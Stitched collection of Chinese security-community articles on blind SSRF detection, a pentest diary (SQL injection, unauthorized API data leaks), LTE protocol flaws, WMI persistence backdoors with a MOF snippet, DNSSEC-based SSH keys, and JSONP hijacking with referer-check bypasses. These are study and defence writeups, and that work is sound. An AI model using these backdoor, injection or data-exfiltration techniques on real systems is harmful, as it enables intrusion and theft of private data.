感谢谷歌安全团队，感谢他们在解决这一问题的过程中所作出的努力。
**参考文档**
[https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt](https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt)
[https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html](https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html)
[http://www.ocert.org/advisories/ocert-2015-012.html](http://www.ocert.org/advisories/ocert-2015-012.html)
[https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg](https://groups.google.com/forum/%23!topic/ganeti/9bLyzwmmvdg)
**PoC－GHETTO-BLASTER**
概念验证示例可以从下列地址中获取：
[https://pierrekim.github.io/advisories/GHETTO-BLASTER](https://pierrekim.github.io/advisories/GHETTO-BLASTER) | 社区文章 |
# SSRF检测的一些思考
前些时日看到有大哥分享了一个检测SSRF的nuclei模板：Blind-SSRF，刚好咱最近在学习nuclei，所以直接用它的模板尝试了一波。有意思的是DNS平台并没有立刻收到请求，反而是在之后的某个时间段收到了不同的请求信息，这至少表明了一点，此处存在有无回显的SSRF，虽然想要证明有更大的危害比较困难，但是至少说明了存在有SSRF的风险，所以接下来就探究下其原理。
## Cracking the lens
项目首页也有介绍，其是根据[Cracking the lens's
Research](https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface)写出来的。以笔者不到四级的英语，勉强可以理解作者是通过构造畸形的`HTTP`请求、佐以特殊的请求头，使的服务器处理时出现问题，从而请求到自定义的服务器上。听起来似乎很简单，实际利用时也确实如此，因为作者已经给出了工具[collaborator-everywhere](https://github.com/PortSwigger/collaborator-everywhere)，比起英文，代码要好理解一些。其定义了注入点以及`payload`的形式
其会对请求进行处理，在每次请求中添加上述`payload`
可以注意到无论注入点是什么，都会加入一个请求头`Cache-Control: no-transform`，该字段主要作用是控制缓存，而`no-transform`的意思为无论什么情况，都不对请求响应做任何处理。加入这个字段是为了防止在传输中请求被处理，从而导致无法正常进行检测。经过处理后的请求头看起来是这样的
到目前为止其实已经可以发现`SSRF`了，不过只有访问记录还不够，还需要将触发请求-访问记录关联起来，贴一张作者检测出的结果
它会循环的去检测`collaborator`是否有收到请求，然后将请求及其产生原因展示出来
至此，该工具实现原理算是明白了，不过很显然比起文章中所介绍的，它的注入点只涵盖了`header`字段，而[Blind-SSRF](https://github.com/0xAwali/Blind-SSRF)可以看作是它的补充
## Blind-SSRF
可以把它的模板分为三种类型的：
1. 增加特定请求头
2. 修改`Host`字段
3. 对`URL`进行处理
增加请求头这一点其实不用多说什么，与上文一样，不同之处在于其采用了一个请求增加一个字段的方式，它的一个请求包看起来是这样的
`WL-Proxy-Client-IP`与`X-Forwarded-For`类同，一般情况下是用来获取客户端`IP`的。
针对后两种的处理则是要复杂不少，其一般都是逻辑处理失误所导致的问题，例如原文中提到的例子
Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();
URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
.setHost(backendURL.getHost())
.setPort(backendURL.getPort())
.setScheme(backendURL.getScheme())
.build();
} catch (URISyntaxException e) {
Util.sendError(ctx, 400, INVALID_REQUEST_URL);
return;
}
在`Apache HttpComponents
4.5.1`版本时它并不会检测`uri`是否是`/`开头的，这意味着我们可以通过构造畸形的`HTTP`请求，从而访问到指定`backendURL`外的地址，例如：
经过拼接后获取到的`proxyUri`其实就是`http://public-backend@host`这样的形式了，`@`前的`public-backend`会被当作用户名，而真正请求的地址则是`uri`中指定的`host`。
## Burp4SSRF
前文中的两个工具已经可以检测出`SSRF`了，但是还存在些许缺陷：
* collaborator-everywhere 情况覆盖不全面、此外其把请求中的`referer`等直接修改后有时会导致请求出错
* blind-ssrf 不能直观的展示出漏洞情况
针对这些问题，笔者决定对`collaborator-everywhere`做一个简单的修改，让它覆盖面更广，同时采用被动扫描的方式，防止对正常请求造成影响。
首先是请求方式的修改，这个就很简单了，只需要将原先的继承自`IProxyListener`改为`IScannerCheck`即可，前者表明在请求进行时对请求做处理，而后者则是交给主动或被动扫描器进行处理，更改之后的扫描逻辑就在`Injector`的`doPassiveScan`函数当中了
当`injectPayloads`将`header`与`param`注入到`request`中后，使用`makeHttpRequest`函数发送请求。
除此之外就是对`Host`以及`uri`作为注入点时的处理，这里新加入了一个`injectAnyWhere`函数
在处理完常规注入点后，剩下的`raw`以及`host`单独进行处理，这里的`raw`是从请求包的第一行开始进行替换，因为这两种类型都会对请求体造成不可逆的影响，所以此处对每一个`payload`都发送一次请求，而不是像前一种情况，所有`payload`整合之后一次发送。至此已经解决了最开始的几个问题，实际使用后的结果：
## 总结
这并不是一项新的技术，但是在实际渗透中往往会有意想不到的收获，改进后的工具已放在`github`：[Burp4SSRF](https://github.com/No4l/Burp4SSRF)
，目前只是简单的改进了下原有的工具，下一步要做的事还有很多，比如Burp自带的`DNSLog`有时会抽风，再比如通过burp日志查看请求时会发现某些畸形请求无法查看……不过方法总比困难多，新的一年也要继续写`bug`哦 | 社区文章 |
### 前言
* * *
作为一个拿着几 K
工资的安服仔，某一天上级给了一个网站需要挖挖洞。客户不愿意提供测试账号，通过其他位置拿到账号规则，然后进行爆破的时候把账号都锁了，因此还被投诉了。记录一下一天的漏洞挖掘过程，过程有点啰嗦。
### 干活
* * *
拿到目标，通常先扫一下端口
访问目录提示 404
三大搜索引擎和github都没找到相关网站的信息，这个时候只能先下扫目录了
发现 net 版本的 ueditor ，还以为能 shell 了，访问发现报错了，问了一下大佬说可能需要登录。看到了网站的绝对路径，二话不说先写个低危报告。
访问 wap 目录，需要在微信打开
在微信打开，提示要关注企业号，没找到企业号。
访问目录的时候有一个跳转过程，在还没跳转之前先暂停。发现使用了 webpack
`F12` \--> `源代码` 发现可以看到 webpack:// ，可以直接在这看 JS ，也可以还原出来在本地看
#### webpack 还原代码
**方法一：**
使用谷歌插件可以直接下载代码：<https://github.com/SunHuawei/SourceDetector>
需要编译，我编译失败了
**方法二：**
# 安装 reverse-sourcemap
npm install --global reverse-sourcemap
# 下载 *.js.map (右键查看源代码，找到 js ，在 js 后面加上 .map)
curl -O https://127.0.0.1/*.js.map
# 使用 reverse-sourcemap
reverse-sourcemap --output-dir ./test xxx.js.map
# 得到 JS
#### 未授权访问
> API 要未授权才能捡到洞，要验证感觉没什么戏了。
查看 JS ，URL，参数，请求方式 都写明了，跟着构造就对了
发现这是通行码的二维码 bas64 编码的图片，可以通过这个通行码到门岗处领取访客卡
创建一个 html ，使用 img 标签成功得到二维码
#### 信息泄露
这是一个搜索用户的接口
成功获取到 3568 条员工信息
#### SQL注入
通过构造请求，发现 area 参数存在SQL注入
手工把几个参数都尝试一遍，没 waf 没什么难度。看长度证明漏洞
第二个注入
> 通过手工把上面的参数都测试一遍，一开始没发现什么。当在 ProcLnstID 使用运算符的时候发现漏洞
>
> ProcLnstID=1/1 返回正常
>
> ProcLnstID=1/0 返回错误
#### 任意文件下载
发现文件上传的 JS
构造请求，发现只能上传图片，又一次与getshell无缘
> burpsuite 右键 点击 change body encoding ，从post 转成 form-data ，在 Content-> Dispostition: 加上 name="file" 就可以成功上传了
发现图片查看的 JS
一开始先测试一下 SSRF ，报错了。然后尝试读取文件，成功读取
### 总结
* * *
大概流程：拿到目标 --> 扫端口 --> 扫目录 --> 发现webpack --> 查看 JS --> 构造请求 --> 捡到漏洞
没什么技术含量，再会.... | 社区文章 |
# UnicornTeam：对近期4G LTE曝光多个漏洞的危害解读
##### 译文声明
本文是翻译文章，文章原作者 UnicornTeam，文章来源：www.secrss.com
原文地址：<https://www.secrss.com/articles/1358>
译文仅供参考，具体内容表达以及含义原文为准。
原文在此：[wp.internetsociety.org](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2018/02/ndss2018_02A-3_Hussain_paper.pdf)
NDSS这篇论文在安全圈引起了广泛的关注和讨论。我们仔细研读了这篇论文，在此表达一些观点。
这是篇学术论文，它的亮点是它提出了一种方法论，用这种方法来分析LTE协议的安全性。这个方法论是非常好的，这也是该论文能入选NDSS的原因。主要是一种协议的符号分析方法。论文中也是这样说的：“To
the best of our knowledge, in the context of 4G LTE, the use of symbolic model
checking and a cryptographic protocol verifier to reason about rich temporal
trace properties is novel. ”。这是论文创新点的核心。
Github上公开的代码，就是这种分析方法的代码。在此不详细讨论这种分析方法。我们主要聊一下发现的漏洞和危害程度。
论文中的Table
III列举了通过这种分析方法发现的漏洞，[总共是10个](https://www.secrss.com/articles/1190)。其中有6个，A-1,
A-3, P-1, P-2, P-4, D-1，这些都属于拒绝服务攻击。
DoS类攻击，是长期无法解决的问题，即使在5G系统中，仍然有一些不能解决。3GPP曾经讨论过在5G引入证书体系，防止手机连接伪基站。也就是说伪基站发出的广播消息都要携带签名，手机终端能识别出来哪些是伪基站，于是就不会尝试连接，连初始连接的第一条消息都不会发出。但是大部分运营商和设备厂商都认为这个方案太“重”了，没有采用。可能6G的时候还会再讨论。
对于专网设备、物联网设备则考虑拒绝服务攻击引发的问题，毕竟常规的手机等UE设备在掉线后可以通过开启、关闭飞行模式等操作再次连上基站；而专网设备、物联网设备则存在无人值守的问题，一旦遭到拒绝服务攻击，很有可能出现长时间掉线的情况，在部分特殊的场景中设备如果掉线可能会产生比较严重的后果。
另外有三个（A-2， A-4， P-5）可以划分到追踪类威胁。我们知道在2G, 3G, 4G中都有IMSI Catcher, 5G将要解决IMSI
Catcher的问题。
特别说一下A-4攻击，Authentication
Relay，鉴权中继攻击。这种手法可以伪造手机在网络中的位置，这个是可以被个人利用的。这是中继攻击的原理。就相当于手机与真实网络中间加了两个中继器，真实网络只知道中继器在哪里，不知道手机在哪里。中继攻击的原理在无线安全中经常被用到。比如我们团队之前有做过：
[汽车无钥匙进入系统的中继攻击](https://www.wired.com/2017/04/just-pair-11-radio-gadgets-can-steal-car/)
[NFC中继攻击](https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Haoqi-Shan-and-Jian-Yuan-Man-in-the-NFC.pdf)
但是鉴权中继攻击，只能伪造手机的位置，手机的完整性保护和加密保护仍然是没有攻破的，中继器不能解出手机发送的数据内容。原文中也是这样说明的：
> “Unlike a typical man-in-the-middle attack, the adversary in this attack can
> neither decrypt the encrypted traffic between the victim UE and the core
> networks, nor can inject valid encrypted traffic unless the service provider
> blatantly disregards the standard’s security recommendations and choose a
> weak-/no- security context during connection establishment.”
最后还有一种漏洞，是P-3，,发送假的灾害警报，这个在安全圈是已经知道的，肯定是可以实现的。但此种攻击一般没人做，因为一旦做了，很容易被发现。属于扰乱公共安全的严重行为了。前阵子有个夏威夷的虚假导弹警报的例子，在媒体上可以找到。这种服务叫做ETWS
(Earthquake and Tsunami Warning
System)，恩……国内目前没有这种服务，所以如果有人在国内收到了这种消息，一定是假的。:D
总的来说，这批漏洞的危害并不是很大，公众不需要过于紧张。
声明：本文来自UnicornTeam，版权归作者所有。文章内容仅代表作者独立观点，不代表安全内参立场，转载目的在于传递更多信息。如需转载，请联系原作者获取授权。 | 社区文章 |
# WMI攻击与安全防御
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
####
作者：夜影实验室（安全平台部）-Addddd
## 简介
WMI是一项Windows管理技术，其全称是Windows Management
Instrumentation，即Windows管理规范。大多数基于Windows的软件依赖于此服务。因此有些黑客会针对WMI进行攻击。本文介绍了 WMI
的攻击和安全防御方法，以供大家交流讨论。
每个WMI 对象都是代表着获取各种操作系统信息与进行相关操作的类实例，以ROOTCIMV2 作为默认的命名空间，CIM为数据库，并以WQL 查询语句用于查询
WMI 对象实例、类和命名空间。
## WMI 的主要交互方式
1、Powershell(Get-WmiObject、Set-WmiInstance、Invoke-WmiMethod等)
例如：Get-WmiObject-Namespace “ROOT” -Class __NAMESPACE
2、Wmic
例如：wmic/NAMESPACE:”rootCIMV2″ PATH Win32_OperatingSystem
## WMI事件
WMI事件会创建一个查询请求，请求中定义了我们需要执行的操作，一旦事件发生就会执行我们定义的操作，支持两种事件。
### 1、临时事件
要创建事件的进程处于活动状态，临时事件就会被激活（以当前权限运行）
例如：
每打开一个新进程就会输出进程名称：
### 2、持久事件
事件存储在CIM数据库中，并且会一直处于活动状态，直到从数据库中删除（以system权限运行，且重启保持不变）
## 持久事件与后门
利用持久事件来做后门(创建需要管理员权限)需要三个部分。
1、事件过滤器(Filter)：用来定义触发的条件，包括系统启动、特定程序执行、特定时间间隔等，存储在ROOTsubscription的实例__
EventFilter对象中，多数事件使用WQL WITHIN子句指定轮询间隔。
2、事件消费者(Consumer)：用来指定要执行的具体操作，包括执行命令(CommandLineEventConsumer)、运行脚本(ActiveScriptEventConsumer)、添加日志条目(NTEventLogEventConsumer)或者发送邮件(SMTPEventConsumer)。
3、绑定机制：将过滤器绑定到消费者(FilterToConsumerBinding类)
## 后门实例
不管是powershell,wmic还是mof文件，都由三个部分组成。
### Powershell实现
效果：每60秒运行一次powershell命令。
### Wmic实现
效果：定时触发反弹
现如今，WMI攻击在很多APT行为中也经常被利用：
### Mof实现
执行命令：
Mofcomp xx.mof
效果：每30分钟触发反弹。
也可以直接执行vbs脚本文件：
instance ofActiveScriptEventConsumer as $Cons
{
Name = “ASEC”;
ScriptingEngine = “VBScript”;
ScriptFileName = “c:asec.vbs”;
};
## 安全防御
查看：
删除： | 社区文章 |
# 灵活，安全，带DNS安全扩展的SSH协议
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.cloudflare.com/flexible-secure-ssh-with-dnssec/>
译文仅供参考，具体内容表达以及含义原文为准。
如果我的博客你每期都读过的话，那么你对使用类似SSH的小工具就不会感到陌生，尤其是SSH和OpenSSH，他们无处不在，同时也最受欢迎。
可能你已经足够小心了，在通信过程中只是用公钥或是私钥，来防止自己的主机遭到字典式的攻击。如果你那样做了，你就会发现为了要配置访问到一台新的主机，就需要复制一份那台主机的公钥（通常是写入磁盘的）。当你有很多主机的时候，管理这些主机的密钥可以说是非常痛苦的，尤其是当你又要对其中一个密钥进行更新时，你可能近乎崩溃。但如果DNSSEC（DNSSEC：DNS安全扩展，由IETF提供的一系列DNS安全认证的的机制）能够帮到你呢？
6.2版本的OpenSSH有一项功能，即：允许远程主机通过既定方式来获取公钥，而不再是通过在`~/.ssh/`目录下的authorized_keys文件中获取公钥。比如，你可以收集到一组想要访问单个服务器（如：LDAP服务器）的用户密钥，并且在用户用公钥尝试登录时，你就可以利用主机的查询功能对每一个公钥进行验证，从而安全管理网络。这样做的优点是：可以大量减少每个主机上的授权密钥文件数量；缺点是：必须要信任这些进行主机检索的源公钥文件。在一个私有网络上的LDAP服务器也许是可以使用的（正常运行时），但它的主机却在云端工作，这看起来就不具有实际的可操作性了。
此时，DNSSEC就显示出它的优势了。一旦有了DNSSEC，在上述的情况中，我们就可以验证来自DNS服务器发出的响应，安全地将公钥存储在DNS记录中。
举个例子来说，我们正在管理一个域名叫example.com的网络，同时给Alice和Bob分配端口，让他们能够进入域名为foo，bar，baz的网域中。我们将他们各自的公钥以alice_pubkey.example.com和bob_pubkey.example.com的名字存储在一个txt文档中。这些记录属于哪个域并不重要，重要的是他们的名字必须完全正确。但我在看来，其实我们只有一个域，从而对我们构建整个局域网就提出了要求：
1.主机上的OpenSSH版本必须是6.2或者更高；
2.每个PC都必须有DNSSEC验证解析器。（我们将会用unbound-host）
3.Alice和Bob的公钥长度要低于256字节（采用ECDSA算法算出的或Ed25519码算出的也可以）
4.在example.com上设置的DNSSEC必须正确。
Alice和Bob的生成密钥为
foo:~$ ssh-keygen -t ecdsa
或者是：
foo:~$ ssh-keygen -t ed25519
接下来按照说明来做。他们会提供一个有效密码（有效密码当然是非空的），随后他们就会发给我们（或其他管理example.com这一网域的管理员）公钥文件，文件是下面这个样子：
ssh-ed25519 AAAAC3N…VY4A= alice@foo
我们可以将文件中的字段alice@foo删掉，在example.com中用alice_pubkey作为文档名来创建一个txt文档。然后，检索公钥就变得很简单了：
foo:~$ unbound-host -t TXT alice_pubkey.example.com alice_pubkey.example.com
has TXT record “ssh-ed25519 AAAAC3N…”
输入-v，解析器unbound-host会告诉我们该签名是否属实。
foo:~$ unbound-host -v -t TXT alice_pubkey.example.com
alice_pubkey.example.com has TXT record “ssh-ed25519 AAAAC…” (insecure)
输入-D,它就会对签名进行检查：
foo:~$ unbound-host –D -v -t TXT alice_pubkey.example.com
alice_pubkey.example.com has TXT record “ssh-ed25519 AAAAC3N…” (secure)
如果记录不存在，它会显示为：
foo:~$ unbound-host –D -v -t TXT charlie_pubkey.example.com
charlie_pubkey.example.com has no TXT record (secure)
注意，没有记录时，由于也要改为“安全”。
之后就是准备解析输出信息。根据sshd用户手册的说明：sshd在执行时，需要一个特定的获取公钥的用户运行程序。下面就是权限分离最好的实践证明。我们建立一个叫做pubkeygrab的用户，并在foo，bar，和baz三个域中分别建立账户。建立这些账户只是出于网络需要，它们并没有更多的权限。
foo:~$ useradd -m -d / **var** / **empty** -s /sbin/nologin pubkeygrab
然后创建脚本pubkeygrab.sh，并把它保存在三台PC上。显然，我们要设定权限：只有超级用户才可以修改该脚本。
foo:~$ cat /usr/local/bin/pubkeygrab.sh **#!/bin/sh** USER=$1
/usr/sbin/unbound-host -v -D -t TXT ${USER}_pubkey.example.com \ |
/usr/bin/grep -v "no TXT record" \ | /usr/bin/grep ' (secure)' \ |
/usr/bin/sed 's/.* "(.*)" (secure)/1/'
到此，我相信，关于我的代码风格或是shell脚本的效率问题，很多读者都有话想说，那就留给你们自己发挥吧。我之所以这样写，就是为了要提醒读者关注，在这个过程中都采用了哪些步骤，而不是注意其他的东西。
1.检索一个txt记录，如果检索失败，则不输出。
2.如果unbound-host不能确认记录是否为DNSSEC所验证，则不输出。
3.如果上述步骤都成功的话，它会弃掉文本，而只返回公钥。
4.系统本身不会去做任何复杂的事，因为复杂性就是网络安全所面对的一个敌人。（这也就是我与别人交流时所提出的一种观点。）
5.系统适用于存储多个记录。
我可以肯定的是，你一定会在你的程序编写过程中做到上述这5条。同时一定要做到，只有你想调试网络时，才让它们运行。保证系统在以下情况中不会输出任何值，才能证实你的网络是安全的：
1.用户与用户记录不匹配；
2.记录没有被验证过；
3.根文件路径(/var/unbound/root.key)的拷贝无效.
如果读者还能找到更多的实例，我将会给你的博客文章加分。
到此，你们应该了解了上述的警告了，还要再加一个：
`/etc/ssh/sshd_config`on `foo`, `bar`and `baz`:
AuthorizedKeysCommand /usr/ **local** /bin/pubkeygrab.sh
AuthorizedKeysCommandUser pubkeygrab
重启ssshd，同时检查在每台pc上是否还有alice和bob两个用户存在。上述过程也是用于所有的现存用户。现在你来到Cloud
Flare账户中，进入域名为example.com的网络，创建两个名为alice pubkey和Bob
pubkey的txt文档。粘贴各自的公钥字段，不久之后，你就会发现Alice和Bob可以登录了。之后，再用Charlie试一次。如果出现，Alice和Bob可以登录，而Charlie登录失败的话，那么恭喜你，你已经把Cloud
Flare变成一个SSH的PKI(公钥基础结构)了。
如果删除这些txt记录，那么对于Alice和Bob的访问就会被撤销，同时一旦这些txt记录的TTL（IP协议包中的一个值,它告诉网络,数据包在网络中的时间是否太长而应被丢弃）过期了，他们也就无法登录了。然而，请注意，当pubkeygrab.sh该脚本的输出为空时，sshd就会弹出“返回AuthorizedKeysFile文件”这个选项，来重新找到一个公共密钥。若Alice和Bob想搞鬼，在你删除了他们用户记录之后，还想留有权限来登录该网络，他们只需要在你禁用公钥保存文件之前，将公钥复制到该文件中，就能实现他们的目的。如果你不想此类事情发生的话，那么你就要确保取消他们读写文件的权限。
$ > ~alice/.ssh/authorized_keys _# empties the file_ $ chown root
~alice/.ssh/authorized_keys $ chmod 600 ~alice/.ssh/authorized_keys
我希望，通过这篇文章你们能体会到DNSSEC的有趣之处。关于这个话题，近期我还会有更多的发现，请继续关注吧 | 社区文章 |
**几年前的文章了，现在才学习... 真的辣鸡，写一下自己的理解，可能会有很多问题，请多多指教~**
**先了解一下什么是JSONP：**
JSONP是一种跨域请求资源的解决方案，JSONP可以绕过AJAX遵循的同源策略。
更容易理解的解释就是：利用“script标签可以跨域请求，并且把返回的结果当作js来执行”的特点来获取第三方的资源
类似这样：<script
src="[http://verysecurebank.ro/getAccountTransactions"></script>](http://verysecurebank.ro/getAccountTransactions"></script>);
为了让数据使用更便捷，第三方资源使用JSON格式输出结果
当使用AJAX请求同样的地址时将会出现这样的错误：
**Callback：**
其实callback很好理解，同样是为了更好的使用第三方数据，第三方允许"请求方"使用自定义的callback名称
还是上面的例子：[http://verysecurebank.ro/getAccountTransactions&callback=testing](http://verysecurebank.ro/getAccountTransactions&callback=testing)
这里的callback参数是可以自定义的，可以是任何名字 (当然有些接口不允许这么做)
**试着画了一张正常请求的图**
**安全问题：**
当攻击者知道返回资源的地址时，且资源中存在隐私信息。是不是可以构造攻击页面，诱导用户访问并获取用户隐私呢？
怎么说呢...
用户在访问qq.com时页面会生成对应的Cookie，当访问子域game.qq.com/user?callback=blabla
时页面将返回game.qq.com下的用户信息
攻击者构造了攻击页面<http://www.attack.com/phishing>
当用户访问时将会执行攻击页面中的js，恶意的js创建了script标签，并以用户的名义加载game.qq.com/user?callback=blabla
就像这样：
(同事竟然表示看不懂图...简单解释下)
1.访问qq.com并通过认证后会生成qq.com下的Cookie
2.主动或被动访问了恶意页面，恶意页面又携带了向game.qq.com发送请求的恶意js。那么用户的浏览器会解析并执行该js：从game.qq.com获取JSON后发送给恶意js指定的接受页面。
**防护与绕过防护：**
厂商常用的解决方法是检查Referer是否合法，因为请求是从攻击页面发起的，所以Referer是攻击页面的Url。
这里有个添加了防护的列子：
直接请求这个地址，提示的是没有登陆。
当我手动去修改Header为<http://game.qq.com> 时成功返回了我的信息：
在浏览器修改Header算什么...... 自..我...安慰?
**空Referer绕过**
当Referer等于空时，可以绕过大部分网站的检测
使用iframe标签并利用js的伪协议可以实现无Referer的请求，就像这样：
`<iframe src="javascript:'<script
src=\'[http://verysecurebank.ro/getAccountTransactions&callback=testing](http://verysecurebank.ro/getAccountTransactions&callback=testing)\'></script><script>alert(\'Hello\')</script>'"></iframe>`
**301跳转绕过**
~~首先你需要一个该域名或子域的跳转漏洞，然后直接用js加载这个漏洞地址，漏洞地址指向返回JSON数据的接口地址就好了~~
~~这里因为手上没有例子，就说了... =。=~~
**放个实例吧**
忙着搬砖，临时找了个新浪微博游戏子站的漏洞
直接丢利用代码吧，特别特别好理解
首先是接口地址：[http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016](http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016)
create_noref_ifr是创建没有referer的iframe标签的函数，接受一个地址和一串js脚本
script变量内容也很好理解的，当script标签加载了接口之后，会生成一个HelloWeibo变量，经过JSON处理之后alert就好了
有表哥说获取到的信息要怎么发送到自己这边。。其实也很简单的。
就像alert一样，改成一个请求就好了，把信息当作参数，请求自己的接受端。
像这样
为了能够成功接收ajax的请求，需要修改Header
**可以用在哪些地方**
信息收集挺好的，如果你只知道一个人的QQ，社工裤和搜索引擎又没有他的其他结果。你可以试着收集很多这样的接口，然后发他一个“看似正常的网站” 嗯
**参考:**
[http://blog.knownsec.com/2015/03/jsonp_security_technic/
 ](http://blog.knownsec.com/2015/03/jsonp_security_technic/  );
这个写好很好的 =。=
**最后**
谢谢=。= | 社区文章 |
X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了，相关的漏洞利用脚本甚至是漏洞批量利用脚本
也有很多。在这里根据系统代码结合POC来分析一下这个漏洞点。
## 定位漏洞点
根据poc中的上传路径可以知道，漏洞点存在于/general/index/UploadFile.php文件。产生漏洞的代码是下边这一串。
else if ( $uploadType == "eoffice_logo" )
{
$targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";
if ( !file_exists( $targetPath ) )
{
mkdir( $targetPath, 511, true );
}
$ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );
$_targetFile = "logo-eoffice".$ext;
$targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;
if ( move_uploaded_file( $tempFile, $targetFile ) )
{
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery( $connection, $query );
$row = mysql_fetch_array( $result );
$param1 = $param2 = false;
if ( !$row )
{
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery( $connection, $query );
}
else
{
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery( $connection, $query );
}
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery( $connection, $query );
$row = mysql_fetch_array( $result );
if ( !$row )
{
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery( $connection, $query );
}
else
{
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery( $connection, $query );
}
if ( $param1 && $param2 )
{
echo $_targetFile;
}
else
{
echo 0;
}
}
else
{
echo 0;
}
}
}
}
在看到UploadFile.php中的内容的时候，发现了很多处类似上面产生漏洞点的代码
但是为什么只有 $uploadType == "eoffice_logo" 这里可以进行任意文件上传呢。
上面三处都使用下边的语句对上传的文件进行了白名单过滤
if ( !in_array( strtolower( $ext ), array( ".jpg", ".jpeg", ".png", ".gif" ) ) )
只有 $uploadType == "eoffice_logo" 这里没有进行白名单过滤，具体是因为什么我还没有深究。
## 漏洞点代码分析
定位到产生漏洞的代码以后，开始对这段代码进行分析。
定义上传后的文件名和上传路径：
//targetPath 为网站 根目录/images/logo/
$targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";
//targetPath 如果不存在的话，就会新建目录
if ( !file_exists( $targetPath ) )
{
mkdir( $targetPath, 511, true );
}
//获取上传文件后缀名，并使用写好的的logo-eoffice与上传文件后缀拼接形成新的文件名，最后进行目录拼接
$ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );
$_targetFile = "logo-eoffice".$ext;
$targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;
现在的targetFile为 根目录/images/logo/logo-eoffice.上传文件的后缀
接下来会进行文件上传的操作
if ( move_uploaded_file( $tempFile, $targetFile ) )
{
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery( $connection, $query );
$row = mysql_fetch_array( $result );
$param1 = $param2 = false;
if ( !$row )
{
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery( $connection, $query );
}
else
{
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery( $connection, $query );
}
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery( $connection, $query );
$row = mysql_fetch_array( $result );
if ( !$row )
{
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery( $connection, $query );
}
else
{
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery( $connection, $query );
}
if ( $param1 && $param2 )
{
echo $_targetFile;
}
else
{
echo 0;
}
}
else
{
echo 0;
}
}
}
}
这一大串代码的意思是，上传后会向数据库中进行查询信息
SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'
如果查不到的话就向数据库中插入数据，如果查询时返回不为空，那么就会将数据进行更新
INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')
UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'
经过这轮操作，数据库SYS_LOGO中已经被插入了数据或者数据已经被更新了，更新后在进行查询操作，并取一行数据作为关联数组。经过这两轮关联，row的值已经不为空了,也就会看到打印出的_targetFile
if ( $param1 && $param2 )
{
echo $_targetFile; //$_targetFile = "logo-eoffice".$ext;
}
到这里似乎没有什么阻碍或者难配置的地方。
## 分析上传方式
准备构造上传。
$upload = ( );
$method = $_GET['m'];
$upload->$method( $connection );
使用get方法传入一个m，然后$upload这个类调用$method方法。这里要想上传文件，也就用到了uploadPicture这个方法。
那么 m=uploadPicture
要想利用eoffice_logo这个点，还需要传入$uploadType，并且令$uploadType == "eoffice_logo"
那么最终的漏洞利用的url也就有了
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo
## 构造上传表单
根据代码构造上传表单
<html>
<title>泛微e-office文件上传</title>
<head></head>
<body>
<form action="http://ip:port/general/index/UploadFile.php?
m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="submit" value="Upload">
</body>
</html>
注意一下这里别写错了
`<input type="file" name="Filedata">`
## 本地攻击测试
上传时抓包，改包
传马连接 | 社区文章 |
欢迎关注我们的微信公众号：[EnsecTeam](http://t.cn/RFUzQuQ "EnsecTeam")
作者：挽秋
**一、摘要**
本文以如何劫持(窃取)智能家居时代设备的身份“安全凭证”为出发点，调研并分析了目前国内市场的主流产品和设备交互协议，及其所依赖身份凭证，通过介绍、分析和发现设备交互控制协议安全性，最终通过身份劫持，实现相关设备和产品的任意远程控制。
**二、智能家居身份和劫持危害**
先通过一张简图来了解一下应用、智能设备和云端三者交互时携带的身份标识，如图所示：
从上图了解到，智能家居身份标识通常是以下几种情况：
* 账号cookie相关，如身份Token；
* 用户id：userid
* 设备id：deviceid
* 认证或加密的key
一旦用户或设备的身份被劫持，那么至少存在如下几方面危害：
* 个人信息，聊天内容等隐私敏感信息泄露
* 智能设备被任意控制
* 财产损失
* 随时被监控
以智能音箱和智能插座等设备为例，至少有两个环节设计“身份”相关：
* 账号同步
* 设备交互操作
下面将分别介绍如何在这两个环节进行身份劫持。
**三、账号同步**
